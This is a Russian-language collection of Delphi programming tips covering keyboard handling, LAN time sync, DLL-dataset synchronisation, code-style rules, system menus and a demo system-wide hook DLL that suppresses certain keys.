Чтобы получить состояния специальных клавиш, таких как TAB или PageUp можно воспользоваться API функцией GetKeyState. Клавиши состояния могут находиться в трёх состояниях: отпущена, нажата, и включена. Если старший бит равен 1, то клавиша нажата, иначе отпущена. Для проверки этого бита можно воспользоваться API функцией HiWord. Если младший бит равен 1, то клавиша включена. Вот пример получения сосотояния специальной клавиши:
if HiWord(GetKeyState(vk_PageUp)) <> 0 then
ShowMessage('PageUp - DOWN')
else
ShowMessage('PageUp - UP');
|
В событиях OnKeyDown и OnKeyUp, Key является беззнаковым двухбайтовым (Word) значением, которое представляет виртуальную клавишу Windows. Для получания значения символа можно воспользоваться функцией Chr. В событии OnKeyPress параметр Key является значением Char, которое представляет символ ASCII.
События OnKeyDown и OnKeyUp имеют параметр Shift с типом TShiftState. В Delphi тип TShiftState определён как набор флагов, определяющих состояние Alt, Ctrl, и Shift при нажатии клавиши.
Например, следующий код (из обработчика OnKeyUp) соединяет строку 'Ctrl +' с нажатой клавишей и отображает результат в заголовке формы:
if ssCtrl in Shift then Form1.Caption:= 'Ctrl +' + Chr(Key); |
Если нажать Ctrl + A, то будут сгенерированы следующие события:
KeyDown (Ctrl) // ssCtrl KeyDown (Ctrl+A) // ssCtrl + 'A' KeyPress (A) KeyUp (Ctrl+A) |
Переадресация событий клавиатуры в форму
Клавиатурный обработчик может работать на двух уровнях: на уровне компонентов и на уровне формы. Свойство формы KeyPreview определяет, будут ли клавиатурные события формы вызываться перед клавиатурными событиями компонентов, так как форма может получать все нажатия клавиш, предназначенные для компонента имеющего в данный момент фокус.
Чтобы перехватить нажатия клавиш на уровне формы, до того как они будут переданы компонентам на форме, необходимо установить свойство KeyPreview в True. После этого компонент как и раньше будет получать события, однако сперва они будут попадать в форму, чтобы дать возможность программе разрешить или запретить ввод различных символов.
Допустим, У Вас на форме есть несколько компонентов Edit и процедура Form.OnKeyPress выглядит следующим образом:
procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
begin
if Key in ['0'..'9'] then
Key := #0
end;
|
Если один из компонентов Edit имеет фокус и свойство KeyPreview установлено в False, то этот код не будет выполнен - другими словами, если пользователь нажмёт клавишу '5', то в компоненте Edit, имеющем фокус, появится символ "5".
Однако, если KeyPreview установлено в True, то событие формы OnKeyPress будет выполнено до того, как компонент Edit увидит нажатую клавишу. Поэтому, если пользователь нажмёт клавишу '5', то в Key будет подставлено нулевое значение, предотвращая тем самым попадание числовых символов в Edit.
Синхронизировать время на 2-х компьютерах в локальной сети.
| Жена: - Ва-ань, дома есть нечего! Муж: - Отстань... - Ва-ань, последние носки тебе штопаю! - Свали. - Ва-ань, старшему завтра в лагерь, а у него ботинки развалились... - Да отцепись ты! У меня за Интернет не плачено, а ты тут со всякой ерундой лезешь! |
Синхронизация времени с сервера/раб. станции "nts2".
WinExec('net time \\nts2 /set /yes',SW_HIDE);
|
Синхронизация DLL с открытым набором данных.
Тема: Синхронизация DLL с открытым набором данных В данном совете показано как с помощью Object Pascal динамически, на лету, связать DLL с активной базой данных, таким образом дающей программисту возможность воспользоваться Modularize-характеристикой. (Независимо от текущего режима, будь то разработка приложения, или его выполнение) Технология динамической линковки DLL к EXE полезна во многих случаях. Например, работа с пакетами для создания 'plug-in' модулей (A/R, A/P, General Ledger и др.) или Point of Sale package с Current Stock, FIFO/LIFO Ordering, Vendor Tracking, и пр. модули. Данная статья дает работающий пример того, как это сделать с единственной dll, 'Editdll.dll', и предоставит разработчику материал, расказывающий о том, как организовать в вашем приложении подключаемые модули. Предварительные условия: Хорошее знание работы компонента TTable, умение использовать DLL, BDE API и знание BDE hCursor. *WIN API для динамической загрузки любых DLL. Пример приложенияПриведенная ниже форма, EditForm, работает с таблицей COUNTRY, расположенной в каталоге DBDEMO. При нажатии пользователем кнопки 'Edit' или при двойном щелчке на записи (строке), возникает диалоговое окно, расположенное в 'EditDll.dll' и демонстрирующее специфическую информацию, относящуюся к данной записи. В этой "точке" DLL синхронизирует себя не только с набором данных (и сессией), но и с текущей записью. Это означает, что полозователь изменяет те же самые данные, что он видит в EditForm! Ну а теперь углубимся в код демонстрационного приложения. (Для удобства просто скопируйте отсюда эти файлы и вставьте в ваше приложение).
// Проект главной формы
{ MAINDB.DPR }
program maindb;
uses
Forms,
mainform in 'mainform.pas' {DBMainForm};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TDBMainForm, DBMainForm);
Application.Run;
end.
{ MAINFORM.PAS }
unit mainform;
interface
uses
SysUtils, Windows, Messages, Classes, Graphics, Controls,
StdCtrls, Forms, DBCtrls, DB, DBGrids, DBTables, Grids, ExtCtrls, BDE;
type
TDBMainForm = class(TForm)
Table1Name: TStringField;
Table1Capital: TStringField;
Table1Continent: TStringField;
Table1Area: TFloatField;
Table1Population: TFloatField;
DBGrid1: TDBGrid;
DBNavigator: TDBNavigator;
Panel1: TPanel;
DataSource1: TDataSource;
Panel2: TPanel;
Table1: TTable;
EditButton: TButton;
procedure FormCreate(Sender: TObject);
procedure EditButtonClick(Sender: TObject);
procedure DBGrid1DblClick(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
var
DBMainForm: TDBMainForm;
implementation
{$R *.DFM}
procedure TDBMainForm.FormCreate(Sender: TObject);
begin
Table1.Open;
end;
// {ПРИМЕЧАНИЕ: DBHandle - дескриптор базы данных & DSHandle - курсор
// рассматриваемой записи. Кроме того, если вы имеете цель в
// динамической загрузке DLL во время выполнения приложения,
// используйте вызовы API LoadLibrary, GetProcAddress и
// FreeLibrary вместо подразумевающихся вызовов загрузки при
// запуске. Пример использования API для динамической загрузки: }
// Type
// {Для GetProcAddress}
// BDEDataSync =
// function(const DBHandle: HDBIDB; const DSHandle: HDBICur): Boolean;
// stdcall;
// {Организация перехвата ошибок загрузки DLL}
// EDLLLoadError = class(Exception);
// var h: hwnd;
// p: BDEDataSync;
// LastError: DWord;
// begin
// UpdateCursorPos;
// Try
// h := loadLibrary('EDITDLL.DLL');
// {Примечание для пользователей Delphi 1.0: Поскольку Win32
// LoadLibrary при неудачной загрузке DLL возвращает NULL,
// поэтому для поиска ошибки необходим вызов GetLastError,
// Win16 LoadLibrary возвращает значение ошибки (меньше чем
// HINSTANCE_ERROR), которая для выяснения причин неудачной
// загрузки может затем провериться с помощью Win16API SDK.}
// if h = 0 then begin
// LastError := GetLastError;
// Raise EDLLLoadError.create(IntToStr(LastError) +
// ': Невозможно загрузить DLL');
// end;
// try
// p := getProcAddress(h, 'EditData');
// if p(DBHandle, Handle) then Resync([]);
// finally
// freeLibrary(h);
// end;
// Except
// On E: EDLLLoadError do
// MessageDLG(E.Message, mtInformation, [mbOk],0);
// end;
// end;
// {или}
function EditData(const DBHandle: HDBIDB; const DSHandle: HDBICur):
Boolean; stdcall external 'EDITDLL.DLL' name 'EditData';
procedure TDBMainForm.EditButtonClick(Sender: TObject);
begin
with Table1 do
begin
UpdateCursorPos;
// Вызываем процедуру EditData из EditDll.dll.
if EditData(DBHandle, Handle) then
Resync([]);
end;
end;
procedure TDBMainForm.DBGrid1DblClick(Sender: TObject);
begin
EditButton.Click;
end;
end.
// Проект EDIT DLL
{ EDITDLL.DPR }
library editdll;
uses
SysUtils,
Classes,
editform in 'editform.pas' {DBEditForm};
exports
EditData;
begin
end.
{ EDITFORM.PAS }
unit editform;
interface
uses
SysUtils, Windows, Messages, Classes, Graphics, Controls, StdCtrls,
Forms, DBCtrls, DB, DBTables, Mask, ExtCtrls, BDE;
type
TTableClone = class;
TDBEditForm = class(TForm)
ScrollBox: TScrollBox;
Label1: TLabel;
EditName: TDBEdit;
Label2: TLabel;
EditCapital: TDBEdit;
Label3: TLabel;
EditContinent: TDBEdit;
Label4: TLabel;
EditArea: TDBEdit;
Label5: TLabel;
EditPopulation: TDBEdit;
DBNavigator: TDBNavigator;
Panel1: TPanel;
DataSource1: TDataSource;
Panel2: TPanel;
Database1: TDatabase;
OKButton: TButton;
private
TableClone: TTableClone;
end;
{ TTableClone }
TTableClone = class(TTable)
private
SrcHandle: HDBICur;
protected
function CreateHandle: HDBICur; override;
public
procedure OpenClone(ASrcHandle: HDBICur);
end;
function EditData(const DBHandle: HDBIDB; const DSHandle: HDBICur): Boolean;
stdcall;
var
DBEditForm: TDBEditForm;
implementation
{$R *.DFM}
{ Экспорт }
function EditData(const DBHandle: HDBIDB; const DSHandle: HDBICur): Boolean;
stdcall;
var
DBEditForm: TDBEditForm;
begin
DBEditForm := TDBEditForm.Create(Application);
with DBEditForm do
try
// Устанавливаем дескриптор Database1 на открытую в текущий момент базу данных
Database1.Handle := DBHandle;
TableClone := TTableClone.Create(DBEditForm);
try
TableClone.DatabaseName := 'DB1';
DataSource1.DataSet := TableClone;
TableClone.OpenClone(DSHandle);
Result := (ShowModal = mrOK);
if Result then
begin
TableClone.UpdateCursorPos;
DbiSetToCursor(DSHandle, TableClone.Handle);
end;
finally
TableClone.Free;
end;
finally
Free;
end;
end;
{ TTableClone }
procedure TTableClone.OpenClone(ASrcHandle: HDBICur);
begin
SrcHandle := ASrcHandle;
Open;
DbiSetToCursor(Handle, SrcHandle);
Resync([]);
end;
function TTableClone.CreateHandle: HDBICur;
begin
Check(DbiCloneCursor(SrcHandle, False, False, Result));
end;
end.
{ EDITFORM.DFM }
object DBEditForm: TDBEditForm
Left = 201
Top = 118
Width = 354
Height = 289
ActiveControl = Panel1
Caption = 'DBEditForm'
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
Position = poScreenCenter
PixelsPerInch = 96
TextHeight = 13
object Panel1: TPanel
Left = 0
Top = 0
Width = 346
Height = 41
Align = alTop
TabOrder = 0
object DBNavigator: TDBNavigator
Left = 8
Top = 8
Width = 240
Height = 25
DataSource = DataSource1
Ctl3D = False
ParentCtl3D = False
TabOrder = 0
end
object OKButton: TButton
Left = 260
Top = 8
Width = 75
Height = 25
Caption = 'OK'
default = True
ModalResult = 1
TabOrder = 1
end
end
object Panel2: TPanel
Left = 0
Top = 41
Width = 346
Height = 221
Align = alClient
BevelInner = bvLowered
BorderWidth = 4
Caption = 'Panel2'
TabOrder = 1
object ScrollBox: TScrollBox
Left = 6
Top = 6
Width = 334
Height = 209
HorzScrollBar.Margin = 6
HorzScrollBar.Range = 147
VertScrollBar.Margin = 6
VertScrollBar.Range = 198
Align = alClient
AutoScroll = False
BorderStyle = bsNone
TabOrder = 0
object Label1: TLabel
Left = 6
Top = 6
Width = 28
Height = 13
Caption = 'Name'
FocusControl = EditName
end
object Label2: TLabel
Left = 6
Top = 44
Width = 32
Height = 13
Caption = 'Capital'
FocusControl = EditCapital
end
object Label3: TLabel
Left = 6
Top = 82
Width = 45
Height = 13
Caption = 'Continent'
FocusControl = EditContinent
end
object Label4: TLabel
Left = 6
Top = 120
Width = 22
Height = 13
Caption = 'Area'
FocusControl = EditArea
end
object Label5: TLabel
Left = 6
Top = 158
Width = 50
Height = 13
Caption = 'Population'
FocusControl = EditPopulation
end
object EditName: TDBEdit
Left = 6
Top = 21
Width = 135
Height = 21
DataField = 'Name'
DataSource = DataSource1
MaxLength = 0
TabOrder = 0
end
object EditCapital: TDBEdit
Left = 6
Top = 59
Width = 135
Height = 21
DataField = 'Capital'
DataSource = DataSource1
MaxLength = 0
TabOrder = 1
end
object EditContinent: TDBEdit
Left = 6
Top = 97
Width = 135
Height = 21
DataField = 'Continent'
DataSource = DataSource1
MaxLength = 0
TabOrder = 2
end
object EditArea: TDBEdit
Left = 6
Top = 135
Width = 65
Height = 21
DataField = 'Area'
DataSource = DataSource1
MaxLength = 0
TabOrder = 3
end
object EditPopulation: TDBEdit
Left = 6
Top = 173
Width = 65
Height = 21
DataField = 'Population'
DataSource = DataSource1
MaxLength = 0
TabOrder = 4
end
end
end
object DataSource1: TDataSource
Left = 95
Top = 177
end
object Database1: TDatabase
DatabaseName = 'DB1'
LoginPrompt = False
SessionName = 'Default'
Left = 128
Top = 176
end
end
|
Синхронизация таблицы и StringList.
Автор: OAmiry (Borland)Допустим что вы имеете TTable с именем Table1 и DBGrid с именем DBGrid1:
В секции модуля interface объявите переменную:
FieldLst: TStringList; |
FieldLst := TStringList.Create; |
FieldLst.Free; |
if (ssCtrl in Shift) and (Key in [Ord('D'), Ord('d')]) then
if (FieldLst.Count > 0 ) then
begin
{Если вам необходимы все предыдущие данные полей}
{for nFld := 0 to Table1.FieldCount - 1 do
Table1.Fields[nFld].AsString := FieldLst.Strings[nFld] ;}
{Если вы хотите только поле, с которым сейчас имеете дело }
DBGrid1.Fields[DBGrid1.SelectedIndex].AsString := FieldLst.Strings[DBGrid1.SelectedIndex];
end ;
|
procedure TForm1.Table1BeforeInsert(DataSet: TDataset); var nFld: Integer ; bmPos: TBookMark ; begin if (not Table1.BOF) and (Assigned( FieldLst )) then try bmPos := Table1.GetBookMark ; Table1.DisableControls ; Table1.Prior ; FieldLst.Clear ; for nFld := 0 to Table1.FieldCount - 1 do FieldLst.Add( Table1.Fields[nFld].AsString ) ; Table1.GotoBookMark( bmPos ) ; Table1.FreeBookMark( bmPos ) ; Table1.EnableControls ; except on E: EOutOfMemory do ShowMessage( E.Message ) ; end ; end; |
Надеюсь, что это будет работать. {Обратите внимание, что при обработке события OnKeyUp вы можете воспользоваться закомментаренными строками, которые позволят вам с помощью комбинации клавиш Ctrl-D получить все предыдущие данные полей. Если вы уберете этот комментарий, то не забудьте прокомментировать строку с DBGrid1....}.
Синхронизация двух компонентов ScrollBox.
Решить задачу помогут обработчики событий OnScroll (в данном примере два компонента ScrollBox (ScrollBar1 и ScrollBar2) расположены на форме TMainForm):
procedure TMainForm.ScrollBar1Scroll(Sender: TObject; ScrollCode: TScrollCode; var ScrollPos: Integer); begin ScrollBar2.Position:=ScrollPos; end; procedure TMainForm.ScrollBar2Scroll(Sender: TObject; ScrollCode: TScrollCode; var ScrollPos: Integer); begin ScrollBar1.Position := ScrollPos; end; |
Общие рекомендации к оформлению кода.
Отступы Для организации отступов используйте по 2 пробела для каждого уровня. Не рекомендуется использовать символы табуляции, т.к. пользователи могут по-разному установить параметры табуляции и реальная ширина отступов будет различной. Ширина поля Устанавливайте ширину поля равной 80 символам. Исходный текст должен укладываться в указанную длину строки - за исключением ситуаций, когда необходимо загончить слово. Если инструкция занимает несколько строк, то продолжение на последующих строках оформляется с помощью отступа, равного двум символам. Блок begin...end Инструкция begin занимает отдельную строку. Исключение - когда begin оказывается частью предложения else. Т.е. else begin можно записывать в одной строке. Инструкция end занимает отдельную строку. Если инструкция begin не является частью предложения else, то соответствующая ей end занимает тот же отступ, что и begin. Круглые скобки Между открывающей скобкой и следующим символом не должно быть пробела, как и между закрывающей круглой скобкой и предыдущим символом.Например:
MyProc( Param1 ); // неверно MyProc(Param1); // верно
Не следует использовать круглые скобки без необходимости:
if (I = 1) then ... // Неверно - лишние скобки if (I = 1) or (J = 2) then ... // Верно - скобки необходимыКлючевые слова
Зарезервированные ключевые слова должны записываться строчными буквами:
BEGIN Begin // неверно begin // верноПрисвоение имен
Имена подпрограмм должны начинаться с прописной буквы. С прописных букв следует начинать составные части имен:
procedure badprocedurename; // неверно procedure GoodProcedureName; // верно
Идентификаторам, процедурам, функциям и параметрам процедур и функций следует присваивать имена, отражающие их назначение:
procedure FormatHardDrive; // процедура форматирования винта :) var IsNull: Boolean; // признак нуля
Переменным управления циклом можно присваивать односимвольные имена Например I, J, K. Названия типов, которые являются зарезервированными словами, должны быть полностью написаны строчными буквами. Типы Win API полностью пишутся прописными буквами. Другие имена типов должны начинаться с прописной буквы, кроме того, с прописной буквы должны начинаться составные части имен. Пример:
var MyString: string; WindowHandle: HWND; I: Integer;
Имена перечислимых типов следует выбирать в соответствии с назначением перечисления. Имя типа должно начинаться с буквы T, подсказывающей пользователю, что идентификатор является типом. Список идентификаторов перечислимого типа должен содержать набранный строчными буквами двух- или трехсимвольный префикс, указывающий на имя перечислимого типа.
TSongType = (stRock, stClassic, stPop, stAlternative);
Если объявляется указатель на к.л. тип, то его имя следует начинать с буквы P. Располагать объявления таких типов нужно по возможности непосредственно перед объявлением указываемого типа:
type
PMyRec = ^TMyRec
TMyRec = record
StringField: string;
IntField: Integer;
end;
Параметры
Формальные параметры одного и того же типа следует по возможности объединять в одну инструкцию:
procedure MyProc(Param1, Param2: Integer; Param3, Param4: string);Порядок следования параметров имеет важное значение, если используется соглашение о вызове fastcall. Параметры, используемые часто, должны следовать в начале списка, редко используемые – в конце. Более общие параметры следует размещать перед параметрами узкого назначения в порядке слева направо. Если значения параметров не модифицируются подпрограммой, то их следует помечать зарезервированным словом const. При этом, в случае если тип параметра запись, строка (ShortString), массив или интерфейс, будет сгенерирован более оптимальный код. Если параметр предназначен ТОЛЬКО для передачи значения из подпрограммы, то его следует помечать зарезервированным словом out.
При использовании двух модулей, содержащих подпрограммы с одинаковым именем, всегда предваряйте вызовы таких подпрограмм именем соответстующего модуля:
SysUtils.FindClose(SR); // или Windows.FindClose(Handle);Типы Тип Real использовать не рекомендуется, т.к. он оставлен лишь для обратной совместимости. Для работы с данными в формате с плавающей точкой лучше использовать тип Double. Этот тип является форматом данных, определенным стандартом IEEE для представления чисел с плавающей точкой. Тип Exteneded следует использовать только в тех случаях, когда точности предоставляемой типом Double, недостаточно. Типы данных Variant и OleVariant рекомендуется использовать только для COM-ориентированных задач. Использование библиотек Разрешается пользоваться всеми модулями, входящими в комплект поставки Delphi. Библиотеками сторонних производителей пользоваться не рекомендуется. Компиляция
Исходные тексты подпрограмм ДОЛЖНЫ компилироваться без ошибок, предупреждений и подсказок компилятора! Следует по возможности избегать переключения опций компилятора (как то: контроль границ диапазонов, контроль ошибок ввода/вывода) в исходном тексте ваших подпрограмм. Разрешается использовать директивы условной компиляции для предопределенных символов: VER130, WIN32, CPU386, CONSOLE и т.п.
Системное меню приложения.
Автор: Davyd WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Системное меню приложения
Если в HNDL указать Application.Handle, то меню добавиться к меню
при клике правой кнопокой мыши на панели задач.
Если Form1.Handle (или любая ваша форма и даже не ваша),
то к системному меню окна клик на иконке окна (слева сверху в углу).
Зависимости: SysUtils, Menus
Автор: Davyd, davyd@pisem.net, ICQ:163118406, Самара
Copyright: Собственное написание (Давид)
Дата: 4 апреля 2003 г.
***************************************************** }
procedure ExtendSysMenu(HNDL: THandle; AddMenu: TMainMenu);
var
i: integer;
begin
if (AddMenu = nil) or (HNDL = 0) then
Exit; //Проверяем ссылку на объект
AppendMenu(GetSystemMenu(HNDL, False),
MF_SEPARATOR, 0, ''); //Добавляем разделитель
with AddMenu do
for i := 0 to Items.Count - 1 do
AppendMenu(GetSystemMenu(HNDL, False),
MF_POPUP, Items[i].Handle,
PChar(Items[i].Caption));
end;
Пример использования:
//На форму кидаем MainMenu (компоненту) procedure TForm1.FormCreate(Sender: TObject); begin ExtendSysMenu(Application.Handle, MainMenu1); ExtendSysMenu(Form1.Handle, MainMenu1); end;
Компонент SystemTray.
Оформил: DeeCo
Автор: Горбань С.В.
Компонент отличается от всех найденных мной аналогов. В нем не реализована только анимация (ну не нужна она мне...), зато он (компонент) САМ взаимодействует с формой и приложением. Это значит, что вы кладете компонент на форму, настраиваете настраиваете его (иконка, хинт, события мыши, всплывающее меню), задаете видимость формы, видимость приложения на панели задач и видимость иконки в трее. Все. Запускаете приложение.Если вы в DesignTime задали невидимую форму, невидимое приложение и видимый значек - ваше приложение появится ТОЛЬКО в трее. Если вы и значек спрятали - тогда вообще ничего не видно :-) Спрятались :-)).
В архиве компонент и специальный пример — SysTray.zip (236 K).
Вызов стандартного системного окна О программе.
| Автор: Алексей |
| Новый русский в компьютерном магазине: - У вас операционные системы есть? - Есть. - Многозадачные есть? - Есть. - Мне 600-задачную! |
uses ShellAPI; procedure ShowAbout; begin ShellAbout(Form1.Handle, 'Напиши здесь название программы', 'Заяви здесь о своих авторских правах на программу' + #13#10 + 'можно в две строки', Application.Icon.Handle); end; |
Время простаивания системы.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function LastInput: DWord;
var
LInput: TLastInputInfo;
begin
LInput.cbSize := SizeOf(TLastInputInfo);
GetLastInputInfo(LInput);
Result := GetTickCount - LInput.dwTime;
end;
//Example:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Label1.Caption := Format('System Idle since %d ms', [LastInput]);
end;
// The GetLastInputInfo function retrieves the time
// of the last input event.
// Minimum operating systems: Windows 2000
Как сделать окно системно-модальным.
Используйте функцию Windows API SetSysModalWindow(). Код ниже демонстрирует технологию работы с этой функцией. В любой момент времени может быть возможен только один модально-системны диалог, чей дескриптор возвращается функцией SetSysModalWindow(). Вам необходимо запомнить возвращаемую функцией величину для того, чтобы завершить показ диалога таким образом. Вот как примерно это должно выглядеть:
procedure TForm1.Button1Click(Sender: TObject); var x: word ; begin x := SetSysModalWindow(AboutBox.handle) ; AboutBox.showmodal ; SetSysModalWindow(x) ; end; |
Отключить клавиши при системном Hooke.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
** What is a Hook? **
A hook is a point in the system message-handling mechanism where an
application can install a subroutine to monitor the message traffic in
the system and process certain types of messages before they reach the target window procedure.
To use the Windows hook mechanism, a program calls the SetWindowsHookEx() API function,
passing the address of a hook procedure that is notified when the specified
event takes place. SetWindowsHookEx() returns the address of the previously installed
hook procedure for the same event type. This address is important,
because hook procedures of the same type form a kind of chain.
Windows notifies the first procedure in the chain when an event occurs,
and each procedure is responsible for passing along the notification.
To do so, a hook procedure must call the CallNextHookEx() API function,
passing the previous hook procedure's address.
--> All system hooks must be located in a dynamic link library.
** The type of Hook used in this Example Code: **
The WH_GETMESSAGE hook enables an application to monitor/intercept messages
about to be returned by the GetMessage or PeekMessage function.
}
{
** Hook Dll - WINHOOK.dll **
WINHOOK.dpr
|-----WHookInt.pas
** Interface unit ** WHookDef.dpr
}
{********** Begin WHookDef.dpr **************}
{ Interface unit for use with WINHOOK.DLL }
unit WHookDef;
interface
uses
Windows;
function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;
function FreeHook: Boolean; stdcall;
implementation
function SetHook; external 'WINHOOK.DLL' Index 1;
function FreeHook; external 'WINHOOK.DLL' Index 2;
end.
{********** End WHookDef.dpr **************}
{********** Begin Winhook.dpr **************}
{ The project file }
{ WINHOOK.dll }
library Winhook;
uses
WHookInt in 'Whookint.pas';
exports
SetHook index 1,
FreeHook index 2;
end.
{********** End Winhook.dpr **************}
{********** Begin WHookInt.pas **************}
unit WHookInt;
interface
uses
Windows, Messages, SysUtils;
function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall; export;
function FreeHook: Boolean; stdcall; export;
function MsgFilterFunc(Code: Integer; wParam, lParam: Longint): Longint stdcall; export;
implementation
// Memory map file stuff
{
The CreateFileMapping function creates unnamed file-mapping object
for the specified file.
}
function CreateMMF(Name: string; Size: Integer): THandle;
begin
Result := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, Size, PChar(Name));
if Result <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
CloseHandle(Result);
Result := 0;
end;
end;
end;
{ The OpenFileMapping function opens a named file-mapping object. }
function OpenMMF(Name: string): THandle;
begin
Result := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, PChar(Name));
// The return value is an open handle to the specified file-mapping object.
end;
{
The MapViewOfFile function maps a view of a file into
the address space of the calling process.
}
function MapMMF(MMFHandle: THandle): Pointer;
begin
Result := MapViewOfFile(MMFHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
end;
{
The UnmapViewOfFile function unmaps a mapped view of a file
from the calling process's address space.
}
function UnMapMMF(P: Pointer): Boolean;
begin
Result := UnmapViewOfFile(P);
end;
function CloseMMF(MMFHandle: THandle): Boolean;
begin
Result := CloseHandle(MMFHandle);
end;
// Actual hook stuff
type
TPMsg = ^TMsg;
const
VK_D = $44;
VK_E = $45;
VK_F = $46;
VK_M = $4D;
VK_R = $52;
MMFName = 'MsgFilterHookDemo';
type
PMMFData = ^TMMFData;
TMMFData = record
NextHook: HHOOK;
WinHandle: HWND;
MsgToSend: Integer;
end;
// global variables, only valid in the process which installs the hook.
var
MMFHandle: THandle;
MMFData: PMMFData;
function UnMapAndCloseMMF: Boolean;
begin
Result := False;
if UnMapMMF(MMFData) then
begin
MMFData := nil;
if CloseMMF(MMFHandle) then
begin
MMFHandle := 0;
Result := True;
end;
end;
end;
{
The SetWindowsHookEx function installs an application-defined
hook procedure into a hook chain.
WH_GETMESSAGE Installs a hook procedure that monitors messages
posted to a message queue.
For more information, see the GetMsgProc hook procedure.
}
function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;
begin
Result := False;
if (MMFData = nil) and (MMFHandle = 0) then
begin
MMFHandle := CreateMMF(MMFName, SizeOf(TMMFData));
if MMFHandle <> 0 then
begin
MMFData := MapMMF(MMFHandle);
if MMFData <> nil then
begin
MMFData.WinHandle := WinHandle;
MMFData.MsgToSend := MsgToSend;
MMFData.NextHook := SetWindowsHookEx(WH_GETMESSAGE, MsgFilterFunc, HInstance, 0);
if MMFData.NextHook = 0 then
UnMapAndCloseMMF
else
Result := True;
end
else
begin
CloseMMF(MMFHandle);
MMFHandle := 0;
end;
end;
end;
end;
{
The UnhookWindowsHookEx function removes the hook procedure installed
in a hook chain by the SetWindowsHookEx function.
}
function FreeHook: Boolean; stdcall;
begin
Result := False;
if (MMFData <> nil) and (MMFHandle <> 0) then
if UnHookWindowsHookEx(MMFData^.NextHook) then
Result := UnMapAndCloseMMF;
end;
(*
GetMsgProc(
nCode: Integer; {the hook code}
wParam: WPARAM; {message removal flag}
lParam: LPARAM {a pointer to a TMsg structure}
): LRESULT; {this function should always return zero}
{ See help on ==> GetMsgProc}
*)
function MsgFilterFunc(Code: Integer; wParam, lParam: Longint): Longint;
var
MMFHandle: THandle;
MMFData: PMMFData;
Kill: boolean;
begin
Result := 0;
MMFHandle := OpenMMF(MMFName);
if MMFHandle <> 0 then
begin
MMFData := MapMMF(MMFHandle);
if MMFData <> nil then
begin
if (Code < 0) or (wParam = PM_NOREMOVE) then
{
The CallNextHookEx function passes the hook information to the
next hook procedure in the current hook chain.
}
Result := CallNextHookEx(MMFData.NextHook, Code, wParam, lParam)
else
begin
Kill := False;
{ Examples }
with TMsg(Pointer(lParam)^) do
begin
// Kill Numbers
if (wParam >= 48) and (wParam <= 57) then Kill := True;
// Kill Tabulator
if (wParam = VK_TAB) then Kill := True;
end;
{ Example to disable all the start-Key combinations }
case TPMsg(lParam)^.message of
WM_SYSCOMMAND: // The Win Start Key (or Ctrl+ESC)
if TPMsg(lParam)^.wParam = SC_TASKLIST then Kill := True;
WM_HOTKEY:
case ((TPMsg(lParam)^.lParam and $00FF0000) shr 16) of
VK_D, // Win+D ==> Desktop
VK_E, // Win+E ==> Explorer
VK_F, // Win+F+(Ctrl) ==> Find:All (and Find: Computer)
VK_M, // Win+M ==> Minimize all
VK_R, // Win+R ==> Run program.
VK_F1, // Win+F1 ==> Windows Help
VK_PAUSE: // Win+Pause ==> Windows system properties
Kill := True;
end;
end;
if Kill then TPMsg(lParam)^.message := WM_NULL;
Result := CallNextHookEx(MMFData.NextHook, Code, wParam, lParam)
end;
UnMapMMF(MMFData);
end;
CloseMMF(MMFHandle);
end;
end;
initialization
begin
MMFHandle := 0;
MMFData := nil;
end;
finalization
FreeHook;
end.
{********** End WHookInt.pas **************}
{ *******************************************}
{ ***************** Demo ******************}
{ *******************************************}
{
** HostApp.Exe **
HostApp.dpr
|-----FrmMainU.pas
}
{********** Begin HostApp.dpr **************}
{ Project file }
program HostApp;
uses
Forms,
FrmMainU in 'FrmMainU.pas' {FrmMain};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TFrmMain, FrmMain);
Application.Run;
end.
{********** End HostApp.dpr **************}
{********** Begin FrmMainU.pas **************}
unit FrmMainU;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
const
HookDemo = 'WINHOOK.dll';
const
WM_HOOKCREATE = WM_USER + 300;
type
TFrmMain = class(TForm)
Panel1: TPanel;
BtnSetHook: TButton;
BtnClearHook: TButton;
procedure BtnSetHookClick(Sender: TObject);
procedure BtnClearHookClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
FHookSet: Boolean;
procedure EnableButtons;
public
end;
var
FrmMain: TFrmMain;
function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;
external HookDemo;
function FreeHook: Boolean; stdcall; external HookDemo;
implementation
{$R *.DFM}
procedure TFrmMain.EnableButtons;
begin
BtnSetHook.Enabled := not FHookSet;
BtnClearHook.Enabled := FHookSet;
end;
// Start the Hook
procedure TFrmMain.BtnSetHookClick(Sender: TObject);
begin
FHookSet := LongBool(SetHook(Handle, WM_HOOKCREATE));
EnableButtons;
end;
// Stop the Hook
procedure TFrmMain.BtnClearHookClick(Sender: TObject);
begin
FHookSet := FreeHook;
EnableButtons;
BtnClearHook.Enabled := False;
end;
procedure TFrmMain.FormCreate(Sender: TObject);
begin
EnableButtons;
end;
end.
{********** End FrmMainU.pas **************}
Перехват нажатия на системные кнопки формы (закрытие, минимизация окна и т.д.).
Сообщение WM_SYSCOMMAND приходит перед выполнением соответствующей команды, что дает возможность переопределить код.
WM_SYSCOMMAND uCmdType = wParam; // type of system command requested xPos = LOWORD(lParam); // horizontal postion, in screen coordinates yPos = HIWORD(lParam); // vertical postion, in screen coordinates |
Например, перехват события минимизации окна приложения:
type
TMain = class(TForm)
protected
procedure WMGetSysCommand(var message : TMessage);
message WM_SYSCOMMAND;
end;
...
// Обработка сообщения WM_SYSCOMMAND
